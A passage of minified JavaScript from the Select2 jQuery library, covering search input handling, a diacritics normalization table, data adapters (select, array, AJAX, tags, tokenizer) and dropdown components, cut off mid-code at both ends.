input.searchcheck");else{var e=t.which;e!=n.SHIFT&&e!=n.CTRL&&e!=n.ALT&&e!=n.TAB&&o.handleSearch(t)}}))},i.prototype._transferTabIndex=function(t){this.$search.attr("tabindex",this.$selection.attr("tabindex")),this.$selection.attr("tabindex","-1")},i.prototype.createPlaceholder=function(t,e){this.$search.attr("placeholder",e.text)},i.prototype.update=function(t,e){var n=this.$search[0]==document.activeElement;this.$search.attr("placeholder",""),t.call(this,e),this.$selection.find(".select2-selection__rendered").append(this.$searchContainer),this.resizeSearch(),n&&this.$search.trigger("focus")},i.prototype.handleSearch=function(){if(this.resizeSearch(),!this._keyUpPrevented){var t=this.$search.val();this.trigger("query",{term:t})}this._keyUpPrevented=!1},i.prototype.searchRemoveChoice=function(t,e){this.trigger("unselect",{data:e}),this.$search.val(e.text),this.handleSearch()},i.prototype.resizeSearch=function(){this.$search.css("width","25px");var t="";t=""!==this.$search.attr("placeholder")?this.$selection.find(".select2-selection__rendered").width():.75*(this.$search.val().length+1)+"em",this.$search.css("width",t)},i})),e.define("select2/selection/eventRelay",["jquery"],(function(t){function e(){}return e.prototype.bind=function(e,n,i){var r=this,o=["open","opening","close","closing","select","selecting","unselect","unselecting","clear","clearing"],a=["opening","closing","selecting","unselecting","clearing"];e.call(this,n,i),n.on("*",(function(e,n){if(-1!==t.inArray(e,o)){n=n||{};var i=t.Event("select2:"+e,{params:n});r.$element.trigger(i),-1!==t.inArray(e,a)&&(n.prevented=i.isDefaultPrevented())}}))},e})),e.define("select2/translation",["jquery","require"],(function(t,e){function n(t){this.dict=t||{}}return n.prototype.all=function(){return this.dict},n.prototype.get=function(t){return this.dict[t]},n.prototype.extend=function(e){this.dict=t.extend({},e.all(),this.dict)},n._cache={},n.loadPath=function(t){if(!(t in n._cache)){var i=e(t);n._cache[t]=i}return new n(n._cache[t])},n})),e.define("select2/diacritics",[],(function(){return{"Ⓐ":"A","Ａ":"A","À":"A","Á":"A","Â":"A","Ầ":"A","Ấ":"A","Ẫ":"A","Ẩ":"A","Ã":"A","Ā":"A","Ă":"A","Ằ":"A","Ắ":"A","Ẵ":"A","Ẳ":"A","Ȧ":"A","Ǡ":"A","Ä":"A","Ǟ":"A","Ả":"A","Å":"A","Ǻ":"A","Ǎ":"A","Ȁ":"A","Ȃ":"A","Ạ":"A","Ậ":"A","Ặ":"A","Ḁ":"A","Ą":"A","Ⱥ":"A","Ɐ":"A","Ꜳ":"AA","Æ":"AE","Ǽ":"AE","Ǣ":"AE","Ꜵ":"AO","Ꜷ":"AU","Ꜹ":"AV","Ꜻ":"AV","Ꜽ":"AY","Ⓑ":"B","Ｂ":"B","Ḃ":"B","Ḅ":"B","Ḇ":"B","Ƀ":"B","Ƃ":"B","Ɓ":"B","Ⓒ":"C","Ｃ":"C","Ć":"C","Ĉ":"C","Ċ":"C","Č":"C","Ç":"C","Ḉ":"C","Ƈ":"C","Ȼ":"C","Ꜿ":"C","Ⓓ":"D","Ｄ":"D","Ḋ":"D","Ď":"D","Ḍ":"D","Ḑ":"D","Ḓ":"D","Ḏ":"D","Đ":"D","Ƌ":"D","Ɗ":"D","Ɖ":"D","Ꝺ":"D","Ǳ":"DZ","Ǆ":"DZ","ǲ":"Dz","ǅ":"Dz","Ⓔ":"E","Ｅ":"E","È":"E","É":"E","Ê":"E","Ề":"E","Ế":"E","Ễ":"E","Ể":"E","Ẽ":"E","Ē":"E","Ḕ":"E","Ḗ":"E","Ĕ":"E","Ė":"E","Ë":"E","Ẻ":"E","Ě":"E","Ȅ":"E","Ȇ":"E","Ẹ":"E","Ệ":"E","Ȩ":"E","Ḝ":"E","Ę":"E","Ḙ":"E","Ḛ":"E","Ɛ":"E","Ǝ":"E","Ⓕ":"F","Ｆ":"F","Ḟ":"F","Ƒ":"F","Ꝼ":"F","Ⓖ":"G","Ｇ":"G","Ǵ":"G","Ĝ":"G","Ḡ":"G","Ğ":"G","Ġ":"G","Ǧ":"G","Ģ":"G","Ǥ":"G","Ɠ":"G","Ꞡ":"G","Ᵹ":"G","Ꝿ":"G","Ⓗ":"H","Ｈ":"H","Ĥ":"H","Ḣ":"H","Ḧ":"H","Ȟ":"H","Ḥ":"H","Ḩ":"H","Ḫ":"H","Ħ":"H","Ⱨ":"H","Ⱶ":"H","Ɥ":"H","Ⓘ":"I","Ｉ":"I","Ì":"I","Í":"I","Î":"I","Ĩ":"I","Ī":"I","Ĭ":"I","İ":"I","Ï":"I","Ḯ":"I","Ỉ":"I","Ǐ":"I","Ȉ":"I","Ȋ":"I","Ị":"I","Į":"I","Ḭ":"I","Ɨ":"I","Ⓙ":"J","Ｊ":"J","Ĵ":"J","Ɉ":"J","Ⓚ":"K","Ｋ":"K","Ḱ":"K","Ǩ":"K","Ḳ":"K","Ķ":"K","Ḵ":"K","Ƙ":"K","Ⱪ":"K","Ꝁ":"K","Ꝃ":"K","Ꝅ":"K","Ꞣ":"K","Ⓛ":"L","Ｌ":"L","Ŀ":"L","Ĺ":"L","Ľ":"L","Ḷ":"L","Ḹ":"L","Ļ":"L","Ḽ":"L","Ḻ":"L","Ł":"L","Ƚ":"L","Ɫ":"L","Ⱡ":"L","Ꝉ":"L","Ꝇ":"L","Ꞁ":"L","Ǉ":"LJ","ǈ":"Lj","Ⓜ":"M","Ｍ":"M","Ḿ":"M","Ṁ":"M","Ṃ":"M","Ɱ":"M","Ɯ":"M","Ⓝ":"N","Ｎ":"N","Ǹ":"N","Ń":"N","Ñ":"N","Ṅ":"N","Ň":"N","Ṇ":"N","Ņ":"N","Ṋ":"N","Ṉ":"N","Ƞ":"N","Ɲ":"N","Ꞑ":"N","Ꞥ":"N","Ǌ":"NJ","ǋ":"Nj","Ⓞ":"O","Ｏ":"O","Ò":"O","Ó":"O","Ô":"O","Ồ":"O","Ố":"O","Ỗ":"O","Ổ":"O","Õ":"O","Ṍ":"O","Ȭ":"O","Ṏ":"O","Ō":"O","Ṑ":"O","Ṓ":"O","Ŏ":"O","Ȯ":"O","Ȱ":"O","Ö":"O","Ȫ":"O","Ỏ":"O","Ő":"O","Ǒ":"O","Ȍ":"O","Ȏ":"O","Ơ":"O","Ờ":"O","Ớ":"O","Ỡ":"O","Ở":"O","Ợ":"O","Ọ":"O","Ộ":"O","Ǫ":"O","Ǭ":"O","Ø":"O","Ǿ":"O","Ɔ":"O","Ɵ":"O","Ꝋ":"O","Ꝍ":"O","Œ":"OE","Ƣ":"OI","Ꝏ":"OO","Ȣ":"OU","Ⓟ":"P","Ｐ":"P","Ṕ":"P","Ṗ":"P","Ƥ":"P","Ᵽ":"P","Ꝑ":"P","Ꝓ":"P","Ꝕ":"P","Ⓠ":"Q","Ｑ":"Q","Ꝗ":"Q","Ꝙ":"Q","Ɋ":"Q","Ⓡ":"R","Ｒ":"R","Ŕ":"R","Ṙ":"R","Ř":"R","Ȑ":"R","Ȓ":"R","Ṛ":"R","Ṝ":"R","Ŗ":"R","Ṟ":"R","Ɍ":"R","Ɽ":"R","Ꝛ":"R","Ꞧ":"R","Ꞃ":"R","Ⓢ":"S","Ｓ":"S","ẞ":"S","Ś":"S","Ṥ":"S","Ŝ":"S","Ṡ":"S","Š":"S","Ṧ":"S","Ṣ":"S","Ṩ":"S","Ș":"S","Ş":"S","Ȿ":"S","Ꞩ":"S","Ꞅ":"S","Ⓣ":"T","Ｔ":"T","Ṫ":"T","Ť":"T","Ṭ":"T","Ț":"T","Ţ":"T","Ṱ":"T","Ṯ":"T","Ŧ":"T","Ƭ":"T","Ʈ":"T","Ⱦ":"T","Ꞇ":"T","Ꜩ":"TZ","Ⓤ":"U","Ｕ":"U","Ù":"U","Ú":"U","Û":"U","Ũ":"U","Ṹ":"U","Ū":"U","Ṻ":"U","Ŭ":"U","Ü":"U","Ǜ":"U","Ǘ":"U","Ǖ":"U","Ǚ":"U","Ủ":"U","Ů":"U","Ű":"U","Ǔ":"U","Ȕ":"U","Ȗ":"U","Ư":"U","Ừ":"U","Ứ":"U","Ữ":"U","Ử":"U","Ự":"U","Ụ":"U","Ṳ":"U","Ų":"U","Ṷ":"U","Ṵ":"U","Ʉ":"U","Ⓥ":"V","Ｖ":"V","Ṽ":"V","Ṿ":"V","Ʋ":"V","Ꝟ":"V","Ʌ":"V","Ꝡ":"VY","Ⓦ":"W","Ｗ":"W","Ẁ":"W","Ẃ":"W","Ŵ":"W","Ẇ":"W","Ẅ":"W","Ẉ":"W","Ⱳ":"W","Ⓧ":"X","Ｘ":"X","Ẋ":"X","Ẍ":"X","Ⓨ":"Y","Ｙ":"Y","Ỳ":"Y","Ý":"Y","Ŷ":"Y","Ỹ":"Y","Ȳ":"Y","Ẏ":"Y","Ÿ":"Y","Ỷ":"Y","Ỵ":"Y","Ƴ":"Y","Ɏ":"Y","Ỿ":"Y","Ⓩ":"Z","Ｚ":"Z","Ź":"Z","Ẑ":"Z","Ż":"Z","Ž":"Z","Ẓ":"Z","Ẕ":"Z","Ƶ":"Z","Ȥ":"Z","Ɀ":"Z","Ⱬ":"Z","Ꝣ":"Z","ⓐ":"a","ａ":"a","ẚ":"a","à":"a","á":"a","â":"a","ầ":"a","ấ":"a","ẫ":"a","ẩ":"a","ã":"a","ā":"a","ă":"a","ằ":"a","ắ":"a","ẵ":"a","ẳ":"a","ȧ":"a","ǡ":"a","ä":"a","ǟ":"a","ả":"a","å":"a","ǻ":"a","ǎ":"a","ȁ":"a","ȃ":"a","ạ":"a","ậ":"a","ặ":"a","ḁ":"a","ą":"a","ⱥ":"a","ɐ":"a","ꜳ":"aa","æ":"ae","ǽ":"ae","ǣ":"ae","ꜵ":"ao","ꜷ":"au","ꜹ":"av","ꜻ":"av","ꜽ":"ay","ⓑ":"b","ｂ":"b","ḃ":"b","ḅ":"b","ḇ":"b","ƀ":"b","ƃ":"b","ɓ":"b","ⓒ":"c","ｃ":"c","ć":"c","ĉ":"c","ċ":"c","č":"c","ç":"c","ḉ":"c","ƈ":"c","ȼ":"c","ꜿ":"c","ↄ":"c","ⓓ":"d","ｄ":"d","ḋ":"d","ď":"d","ḍ":"d","ḑ":"d","ḓ":"d","ḏ":"d","đ":"d","ƌ":"d","ɖ":"d","ɗ":"d","ꝺ":"d","ǳ":"dz","ǆ":"dz","ⓔ":"e","ｅ":"e","è":"e","é":"e","ê":"e","ề":"e","ế":"e","ễ":"e","ể":"e","ẽ":"e","ē":"e","ḕ":"e","ḗ":"e","ĕ":"e","ė":"e","ë":"e","ẻ":"e","ě":"e","ȅ":"e","ȇ":"e","ẹ":"e","ệ":"e","ȩ":"e","ḝ":"e","ę":"e","ḙ":"e","ḛ":"e","ɇ":"e","ɛ":"e","ǝ":"e","ⓕ":"f","ｆ":"f","ḟ":"f","ƒ":"f","ꝼ":"f","ⓖ":"g","ｇ":"g","ǵ":"g","ĝ":"g","ḡ":"g","ğ":"g","ġ":"g","ǧ":"g","ģ":"g","ǥ":"g","ɠ":"g","ꞡ":"g","ᵹ":"g","ꝿ":"g","ⓗ":"h","ｈ":"h","ĥ":"h","ḣ":"h","ḧ":"h","ȟ":"h","ḥ":"h","ḩ":"h","ḫ":"h","ẖ":"h","ħ":"h","ⱨ":"h","ⱶ":"h","ɥ":"h","ƕ":"hv","ⓘ":"i","ｉ":"i","ì":"i","í":"i","î":"i","ĩ":"i","ī":"i","ĭ":"i","ï":"i","ḯ":"i","ỉ":"i","ǐ":"i","ȉ":"i","ȋ":"i","ị":"i","į":"i","ḭ":"i","ɨ":"i","ı":"i","ⓙ":"j","ｊ":"j","ĵ":"j","ǰ":"j","ɉ":"j","ⓚ":"k","ｋ":"k","ḱ":"k","ǩ":"k","ḳ":"k","ķ":"k","ḵ":"k","ƙ":"k","ⱪ":"k","ꝁ":"k","ꝃ":"k","ꝅ":"k","ꞣ":"k","ⓛ":"l","ｌ":"l","ŀ":"l","ĺ":"l","ľ":"l","ḷ":"l","ḹ":"l","ļ":"l","ḽ":"l","ḻ":"l","ſ":"l","ł":"l","ƚ":"l","ɫ":"l","ⱡ":"l","ꝉ":"l","ꞁ":"l","ꝇ":"l","ǉ":"lj","ⓜ":"m","ｍ":"m","ḿ":"m","ṁ":"m","ṃ":"m","ɱ":"m","ɯ":"m","ⓝ":"n","ｎ":"n","ǹ":"n","ń":"n","ñ":"n","ṅ":"n","ň":"n","ṇ":"n","ņ":"n","ṋ":"n","ṉ":"n","ƞ":"n","ɲ":"n","ŉ":"n","ꞑ":"n","ꞥ":"n","ǌ":"nj","ⓞ":"o","ｏ":"o","ò":"o","ó":"o","ô":"o","ồ":"o","ố":"o","ỗ":"o","ổ":"o","õ":"o","ṍ":"o","ȭ":"o","ṏ":"o","ō":"o","ṑ":"o","ṓ":"o","ŏ":"o","ȯ":"o","ȱ":"o","ö":"o","ȫ":"o","ỏ":"o","ő":"o","ǒ":"o","ȍ":"o","ȏ":"o","ơ":"o","ờ":"o","ớ":"o","ỡ":"o","ở":"o","ợ":"o","ọ":"o","ộ":"o","ǫ":"o","ǭ":"o","ø":"o","ǿ":"o","ɔ":"o","ꝋ":"o","ꝍ":"o","ɵ":"o","œ":"oe","ƣ":"oi","ȣ":"ou","ꝏ":"oo","ⓟ":"p","ｐ":"p","ṕ":"p","ṗ":"p","ƥ":"p","ᵽ":"p","ꝑ":"p","ꝓ":"p","ꝕ":"p","ⓠ":"q","ｑ":"q","ɋ":"q","ꝗ":"q","ꝙ":"q","ⓡ":"r","ｒ":"r","ŕ":"r","ṙ":"r","ř":"r","ȑ":"r","ȓ":"r","ṛ":"r","ṝ":"r","ŗ":"r","ṟ":"r","ɍ":"r","ɽ":"r","ꝛ":"r","ꞧ":"r","ꞃ":"r","ⓢ":"s","ｓ":"s","ß":"s","ś":"s","ṥ":"s","ŝ":"s","ṡ":"s","š":"s","ṧ":"s","ṣ":"s","ṩ":"s","ș":"s","ş":"s","ȿ":"s","ꞩ":"s","ꞅ":"s","ẛ":"s","ⓣ":"t","ｔ":"t","ṫ":"t","ẗ":"t","ť":"t","ṭ":"t","ț":"t","ţ":"t","ṱ":"t","ṯ":"t","ŧ":"t","ƭ":"t","ʈ":"t","ⱦ":"t","ꞇ":"t","ꜩ":"tz","ⓤ":"u","ｕ":"u","ù":"u","ú":"u","û":"u","ũ":"u","ṹ":"u","ū":"u","ṻ":"u","ŭ":"u","ü":"u","ǜ":"u","ǘ":"u","ǖ":"u","ǚ":"u","ủ":"u","ů":"u","ű":"u","ǔ":"u","ȕ":"u","ȗ":"u","ư":"u","ừ":"u","ứ":"u","ữ":"u","ử":"u","ự":"u","ụ":"u","ṳ":"u","ų":"u","ṷ":"u","ṵ":"u","ʉ":"u","ⓥ":"v","ｖ":"v","ṽ":"v","ṿ":"v","ʋ":"v","ꝟ":"v","ʌ":"v","ꝡ":"vy","ⓦ":"w","ｗ":"w","ẁ":"w","ẃ":"w","ŵ":"w","ẇ":"w","ẅ":"w","ẘ":"w","ẉ":"w","ⱳ":"w","ⓧ":"x","ｘ":"x","ẋ":"x","ẍ":"x","ⓨ":"y","ｙ":"y","ỳ":"y","ý":"y","ŷ":"y","ỹ":"y","ȳ":"y","ẏ":"y","ÿ":"y","ỷ":"y","ẙ":"y","ỵ":"y","ƴ":"y","ɏ":"y","ỿ":"y","ⓩ":"z","ｚ":"z","ź":"z","ẑ":"z","ż":"z","ž":"z","ẓ":"z","ẕ":"z","ƶ":"z","ȥ":"z","ɀ":"z","ⱬ":"z","ꝣ":"z","Ά":"Α","Έ":"Ε","Ή":"Η","Ί":"Ι","Ϊ":"Ι","Ό":"Ο","Ύ":"Υ","Ϋ":"Υ","Ώ":"Ω","ά":"α","έ":"ε","ή":"η","ί":"ι","ϊ":"ι","ΐ":"ι","ό":"ο","ύ":"υ","ϋ":"υ","ΰ":"υ","ώ":"ω","ς":"σ","’":"'"}})),e.define("select2/data/base",["../utils"],(function(t){function e(t,n){e.__super__.constructor.call(this)}return t.Extend(e,t.Observable),e.prototype.current=function(t){throw new Error("The `current` method must be defined in child classes.")},e.prototype.query=function(t,e){throw new Error("The `query` method must be defined in child classes.")},e.prototype.bind=function(t,e){},e.prototype.destroy=function(){},e.prototype.generateResultId=function(e,n){var i=e.id+"-result-";return i+=t.generateChars(4),null!=n.id?i+="-"+n.id.toString():i+="-"+t.generateChars(4),i},e})),e.define("select2/data/select",["./base","../utils","jquery"],(function(t,e,n){function i(t,e){this.$element=t,this.options=e,i.__super__.constructor.call(this)}return e.Extend(i,t),i.prototype.current=function(t){var e=[],i=this;this.$element.find(":selected").each((function(){var t=n(this),r=i.item(t);e.push(r)})),t(e)},i.prototype.select=function(t){var e=this;if(t.selected=!0,n(t.element).is("option"))return t.element.selected=!0,void this.$element.trigger("input").trigger("change");if(this.$element.prop("multiple"))this.current((function(i){var r=[];(t=[t]).push.apply(t,i);for(var o=0;o<t.length;o++){var a=t[o].id;-1===n.inArray(a,r)&&r.push(a)}e.$element.val(r),e.$element.trigger("input").trigger("change")}));else{var i=t.id;this.$element.val(i),this.$element.trigger("input").trigger("change")}},i.prototype.unselect=function(t){var e=this;if(this.$element.prop("multiple")){if(t.selected=!1,n(t.element).is("option"))return t.element.selected=!1,void this.$element.trigger("input").trigger("change");this.current((function(i){for(var r=[],o=0;o<i.length;o++){var a=i[o].id;a!==t.id&&-1===n.inArray(a,r)&&r.push(a)}e.$element.val(r),e.$element.trigger("input").trigger("change")}))}},i.prototype.bind=function(t,e){var n=this;this.container=t,t.on("select",(function(t){n.select(t.data)})),t.on("unselect",(function(t){n.unselect(t.data)}))},i.prototype.destroy=function(){this.$element.find("*").each((function(){e.RemoveData(this)}))},i.prototype.query=function(t,e){var i=[],r=this;this.$element.children().each((function(){var e=n(this);if(e.is("option")||e.is("optgroup")){var o=r.item(e),a=r.matches(t,o);null!==a&&i.push(a)}})),e({results:i})},i.prototype.addOptions=function(t){e.appendMany(this.$element,t)},i.prototype.option=function(t){var i;t.children?(i=document.createElement("optgroup")).label=t.text:void 0!==(i=document.createElement("option")).textContent?i.textContent=t.text:i.innerText=t.text,void 0!==t.id&&(i.value=t.id),t.disabled&&(i.disabled=!0),t.selected&&(i.selected=!0),t.title&&(i.title=t.title);var r=n(i),o=this._normalizeItem(t);return o.element=i,e.StoreData(i,"data",o),r},i.prototype.item=function(t){var i={};if(null!=(i=e.GetData(t[0],"data")))return i;if(t.is("option"))i={id:t.val(),text:t.text(),disabled:t.prop("disabled"),selected:t.prop("selected"),title:t.prop("title")};else if(t.is("optgroup")){i={text:t.prop("label"),children:[],title:t.prop("title")};for(var r=t.children("option"),o=[],a=0;a<r.length;a++){var s=n(r[a]),l=this.item(s);o.push(l)}i.children=o}return(i=this._normalizeItem(i)).element=t[0],e.StoreData(t[0],"data",i),i},i.prototype._normalizeItem=function(t){return t!==Object(t)&&(t={id:t,text:t}),null!=(t=n.extend({},{text:""},t)).id&&(t.id=t.id.toString()),null!=t.text&&(t.text=t.text.toString()),null==t._resultId&&t.id&&null!=this.container&&(t._resultId=this.generateResultId(this.container,t)),n.extend({},{selected:!1,disabled:!1},t)},i.prototype.matches=function(t,e){return this.options.get("matcher")(t,e)},i})),e.define("select2/data/array",["./select","../utils","jquery"],(function(t,e,n){function i(t,e){this._dataToConvert=e.get("data")||[],i.__super__.constructor.call(this,t,e)}return e.Extend(i,t),i.prototype.bind=function(t,e){i.__super__.bind.call(this,t,e),this.addOptions(this.convertToOptions(this._dataToConvert))},i.prototype.select=function(t){var e=this.$element.find("option").filter((function(e,n){return n.value==t.id.toString()}));0===e.length&&(e=this.option(t),this.addOptions(e)),i.__super__.select.call(this,t)},i.prototype.convertToOptions=function(t){var i=this,r=this.$element.find("option"),o=r.map((function(){return i.item(n(this)).id})).get(),a=[];function s(t){return function(){return n(this).val()==t.id}}for(var l=0;l<t.length;l++){var c=this._normalizeItem(t[l]);if(n.inArray(c.id,o)>=0){var u=r.filter(s(c)),d=this.item(u),f=n.extend(!0,{},c,d),h=this.option(f);u.replaceWith(h)}else{var p=this.option(c);if(c.children){var m=this.convertToOptions(c.children);e.appendMany(p,m)}a.push(p)}}return a},i})),e.define("select2/data/ajax",["./array","../utils","jquery"],(function(t,e,n){function i(t,e){this.ajaxOptions=this._applyDefaults(e.get("ajax")),null!=this.ajaxOptions.processResults&&(this.processResults=this.ajaxOptions.processResults),i.__super__.constructor.call(this,t,e)}return e.Extend(i,t),i.prototype._applyDefaults=function(t){var e={data:function(t){return n.extend({},t,{q:t.term})},transport:function(t,e,i){var r=n.ajax(t);return r.then(e),r.fail(i),r}};return n.extend({},e,t,!0)},i.prototype.processResults=function(t){return t},i.prototype.query=function(t,e){var i=this;null!=this._request&&(n.isFunction(this._request.abort)&&this._request.abort(),this._request=null);var r=n.extend({type:"GET"},this.ajaxOptions);function o(){var o=r.transport(r,(function(r){var o=i.processResults(r,t);i.options.get("debug")&&window.console&&console.error&&(o&&o.results&&n.isArray(o.results)||console.error("Select2: The AJAX results did not return an array in the `results` key of the response.")),e(o)}),(function(){(!("status"in o)||0!==o.status&&"0"!==o.status)&&i.trigger("results:message",{message:"errorLoading"})}));i._request=o}"function"==typeof r.url&&(r.url=r.url.call(this.$element,t)),"function"==typeof r.data&&(r.data=r.data.call(this.$element,t)),this.ajaxOptions.delay&&null!=t.term?(this._queryTimeout&&window.clearTimeout(this._queryTimeout),this._queryTimeout=window.setTimeout(o,this.ajaxOptions.delay)):o()},i})),e.define("select2/data/tags",["jquery"],(function(t){function e(e,n,i){var r=i.get("tags"),o=i.get("createTag");void 0!==o&&(this.createTag=o);var a=i.get("insertTag");if(void 0!==a&&(this.insertTag=a),e.call(this,n,i),t.isArray(r))for(var s=0;s<r.length;s++){var l=r[s],c=this._normalizeItem(l),u=this.option(c);this.$element.append(u)}}return e.prototype.query=function(t,e,n){var i=this;this._removeOldTags(),null!=e.term&&null==e.page?t.call(this,e,(function t(r,o){for(var a=r.results,s=0;s<a.length;s++){var l=a[s],c=null!=l.children&&!t({results:l.children},!0);if((l.text||"").toUpperCase()===(e.term||"").toUpperCase()||c)return!o&&(r.data=a,void n(r))}if(o)return!0;var u=i.createTag(e);if(null!=u){var d=i.option(u);d.attr("data-select2-tag",!0),i.addOptions([d]),i.insertTag(a,u)}r.results=a,n(r)})):t.call(this,e,n)},e.prototype.createTag=function(e,n){var i=t.trim(n.term);return""===i?null:{id:i,text:i}},e.prototype.insertTag=function(t,e,n){e.unshift(n)},e.prototype._removeOldTags=function(e){this.$element.find("option[data-select2-tag]").each((function(){this.selected||t(this).remove()}))},e})),e.define("select2/data/tokenizer",["jquery"],(function(t){function e(t,e,n){var i=n.get("tokenizer");void 0!==i&&(this.tokenizer=i),t.call(this,e,n)}return e.prototype.bind=function(t,e,n){t.call(this,e,n),this.$search=e.dropdown.$search||e.selection.$search||n.find(".select2-search__field")},e.prototype.query=function(e,n,i){var r=this;n.term=n.term||"";var o=this.tokenizer(n,this.options,(function(e){var n=r._normalizeItem(e);if(!r.$element.find("option").filter((function(){return t(this).val()===n.id})).length){var i=r.option(n);i.attr("data-select2-tag",!0),r._removeOldTags(),r.addOptions([i])}!function(t){r.trigger("select",{data:t})}(n)}));o.term!==n.term&&(this.$search.length&&(this.$search.val(o.term),this.$search.trigger("focus")),n.term=o.term),e.call(this,n,i)},e.prototype.tokenizer=function(e,n,i,r){for(var o=i.get("tokenSeparators")||[],a=n.term,s=0,l=this.createTag||function(t){return{id:t.term,text:t.term}};s<a.length;){var c=a[s];if(-1!==t.inArray(c,o)){var u=a.substr(0,s),d=l(t.extend({},n,{term:u}));null!=d?(r(d),a=a.substr(s+1)||"",s=0):s++}else s++}return{term:a}},e})),e.define("select2/data/minimumInputLength",[],(function(){function t(t,e,n){this.minimumInputLength=n.get("minimumInputLength"),t.call(this,e,n)}return t.prototype.query=function(t,e,n){e.term=e.term||"",e.term.length<this.minimumInputLength?this.trigger("results:message",{message:"inputTooShort",args:{minimum:this.minimumInputLength,input:e.term,params:e}}):t.call(this,e,n)},t})),e.define("select2/data/maximumInputLength",[],(function(){function t(t,e,n){this.maximumInputLength=n.get("maximumInputLength"),t.call(this,e,n)}return t.prototype.query=function(t,e,n){e.term=e.term||"",this.maximumInputLength>0&&e.term.length>this.maximumInputLength?this.trigger("results:message",{message:"inputTooLong",args:{maximum:this.maximumInputLength,input:e.term,params:e}}):t.call(this,e,n)},t})),e.define("select2/data/maximumSelectionLength",[],(function(){function t(t,e,n){this.maximumSelectionLength=n.get("maximumSelectionLength"),t.call(this,e,n)}return t.prototype.bind=function(t,e,n){var i=this;t.call(this,e,n),e.on("select",(function(){i._checkIfMaximumSelected()}))},t.prototype.query=function(t,e,n){var i=this;this._checkIfMaximumSelected((function(){t.call(i,e,n)}))},t.prototype._checkIfMaximumSelected=function(t,e){var n=this;this.current((function(t){var i=null!=t?t.length:0;n.maximumSelectionLength>0&&i>=n.maximumSelectionLength?n.trigger("results:message",{message:"maximumSelected",args:{maximum:n.maximumSelectionLength}}):e&&e()}))},t})),e.define("select2/dropdown",["jquery","./utils"],(function(t,e){function n(t,e){this.$element=t,this.options=e,n.__super__.constructor.call(this)}return e.Extend(n,e.Observable),n.prototype.render=function(){var e=t('<span class="select2-dropdown"><span class="select2-results"></span></span>');return e.attr("dir",this.options.get("dir")),this.$dropdown=e,e},n.prototype.bind=function(){},n.prototype.position=function(t,e){},n.prototype.destroy=function(){this.$dropdown.remove()},n})),e.define("select2/dropdown/search",["jquery","../utils"],(function(t,e){function n(){}return n.prototype.render=function(e){var n=e.call(this),i=t('<span class="select2-search select2-search--dropdown"><input class="select2-search__field" type="search" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="searchbox" aria-autocomplete="list" /></span>');return this.$searchContainer=i,this.$search=i.find("input"),n.prepend(i),n},n.prototype.bind=function(e,n,i){var r=this,o=n.id+"-results";e.call(this,n,i),this.$search.on("keydown",(function(t){r.trigger("keypress",t),r._keyUpPrevented=t.isDefaultPrevented()})),this.$search.on("input",(function(e){t(this).off("keyup")})),this.$search.on("keyup input",(function(t){r.handleSearch(t)})),n.on("open",(function(){r.$search.attr("tabindex",0),r.$search.attr("aria-controls",o),r.$search.trigger("focus"),window.setTimeout((function(){r.$search.trigger("focus")}),0)})),n.on("close",(function(){r.$search.attr("tabindex",-1),r.$search.removeAttr("aria-controls"),r.$search.removeAttr("aria-activedescendant"),r.$search.val(""),r.$search.trigger("blur")})),n.on("focus",(function(){n.isOpen()||r.$search.trigger("focus")})),n.on("results:all",(function(t){null!=t.query.term&&""!==t.query.term||(r.showSearch(t)?r.$searchContainer.removeClass("select2-search--hide"):r.$searchContainer.addClass("select2-search--hide"))})),n.on("results:focus",(function(t){t.data._resultId?r.$search.attr("aria-activedescendant",t.data._resultId):r.$search.removeAttr("aria-activedescendant")}))},n.prototype.handleSearch=function(t){if(!this._keyUpPrevented){var e=this.$search.val();this.trigger("query",{term:e})}this._keyUpPrevented=!1},n.prototype.showSearch=function(t,e){return!0},n})),e.define("select2/dropdown/hidePlaceholder",[],(function(){function t(t,e,n,i){this.placeholder=this.normalizePlaceholder(n.get("placeholder")),t.call(this,e,n,i)}return t.prototype.append=function(t,e){e.results=this.removePlaceholder(e.results),t.call(this,e)},t.prototype.normalizePlaceholder=function(t,e){return"string"==typeof e&&(e={id:"",text:e}),e},t.prototype.removePlaceholder=function(t,e){for(var n=e.slice(0),i=e.length-1;i>=0;i--){var r=e[i];this.placeholder.id===r.id&&n.splice(i,1)}return n},t})),e.define("select2/dropdown/infiniteScroll",["jquery"],(function(t){function e(t,e,n,i){this.lastParams={},t.call(this,e,n,i),this.$loadingMore=this.createLoadingMore(),this.loading=!1}return e.prototype.append=function(t,e){this.$loadingMore.remove(),this.loading=!1,t.call(this,e),this.showLoadingMore(e)&&(this.$results.append(this.$loadingMore),this.loadMoreIfNeeded())},e.prototype.bind=function(t,e,n){var i=this;t.call(this,e,n),e.on("query",(function(t){i.lastParams=t,i.loading=!0})),e.on("query:append",(function(t){i.lastParams=t,i.loading=!0})),this.$results.on("scroll",this.loadMoreIfNeeded.bind(this))},e.prototype.loadMoreIfNeeded=function(){var e=t.contains(document.documentElement,this.$loadingMore[0]);!this.loading&&e&&this.$results.offset().top+this.$results.outerHeight(!1)+50>=this.$loadingMore.offset().top+this.$loadingMore.outerHeight(!1)&&this.loadMore()},e.prototype.loadMore=function(){this.loading=!0;var e=t.extend({},{page:1},this.lastParams);e.page++,this.trigger("query:append",e)},e.prototype.showLoadingMore=function(t,e){return e.pagination&&e.pagination.more},e.prototype.createLoadingMore=function(){var e=t('<li class="select2-results__option select2-results__option--load-more"role="option" aria-disabled="true"></li>'),n=this.options.get("translations").get("loadingMore");return e.html(n(this.lastParams)),e},e})),e.define("select2/dropdown/attachBody",["jquery","../utils"],(function(t,e){function n(e,n,i){this.$dropdownParent=t(i.get("dropdownParent")||document.body),e.call(this,n,i)}return n.prototype.bind=function(t,e,n){var i=this;t.call(this,e,n),e.on("open",(function(){i._showDropdown(),i._attachPositioningHandler(e),i._bindContainerResultHandlers(e)})),e.on("close",(function(){i._hideDropdown(),i._detachPositioningHandler(e)})),this.$dropdownContainer.on("mousedown",(function(t){t.stopPropagation()}))},n.prototype.destroy=function(t){t.call(this),this.$dropdownContainer.remove()},n.prototype.position=function(t,e,n){e.attr("class",n.attr("class")),e.removeClass("select2"),e.addClass("select2-container--open"),e.css({position:"absolute",top:-999999}),this.$container=n},n.prototype.render=function(e){var n=t("<span></span>"),i=e.call(this);return n.append(i),this.$dropdownContainer=n,n},n.prototype._hideDropdown=function(t){this.$dropdownContainer.detach()},n.prototype._bindContainerResultHandlers=function(t,e){if(!this._containerResultsHandlersBound){var 